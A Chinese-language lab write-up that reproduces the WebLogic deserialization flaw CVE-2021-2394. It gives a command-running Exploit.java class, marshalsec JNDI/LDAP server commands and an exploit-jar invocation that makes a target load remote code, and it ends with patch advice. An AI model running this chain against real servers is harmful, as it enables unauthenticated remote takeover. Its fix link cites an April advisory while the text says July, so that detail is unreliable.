CVE-2021-2394:Weblogic反序列化漏洞復現
0x01 簡介
WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。
0x02 漏洞概述
編號:CVE-2021-2394
Oracle官方發布了2021年7月份安全更新通告,通告中披露了WebLogic組件存在高危漏洞,攻擊者可以在未授權的情況下通過IIOP、T3協議對存在漏洞的WebLogic Server組件進行攻擊。成功利用該漏洞的攻擊者可以接管WebLogic Server。
這是一個二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的調用鏈相結合組成一條新的調用鏈來繞過weblogic黑名單列表。
0x03 影響版本
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
0x04 環境搭建
系統環境:window10系統
weblogic版本:12.2.1.3, 直接官網下載就可以

weblogic安裝過程省略,很簡單
安裝好之后,在此目錄啟動就可以
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd

weblogic啟動成功的截圖

0x05 漏洞復現
1、下載marshalsec利用marshalsec開啟JNDI服務
https://github.com/mbechler/marshalsec # 需要自己編譯 mvn clean package –DskipTests https://github.com/RandomRobbieBF/marshalsec-jar # 可以直接使用
2、創建Exploit.java,通過javac編譯得到Exploit.class
public class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
3、在同目錄下使用python開啟一個http服務,并使用marshalsec開啟JNDI服務
python -m http.server 8000 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087


4、利用我們組lz2y大佬寫的exp進行復現
https://github.com/lz2y/CVE-2021-2394/releases/tag/2.0
java -jar CVE_2021_2394.jar 192.168.31.3 7001 ldap://192.168.3.35:8087/Exploit

目標機成功彈框

0x06 修復方式
當前官方已發布受影響版本的對應補丁,建議受影響的用戶及時更新官方的安全補丁。鏈接如下:
https://www.oracle.com/security-alerts/cpuapr2021.html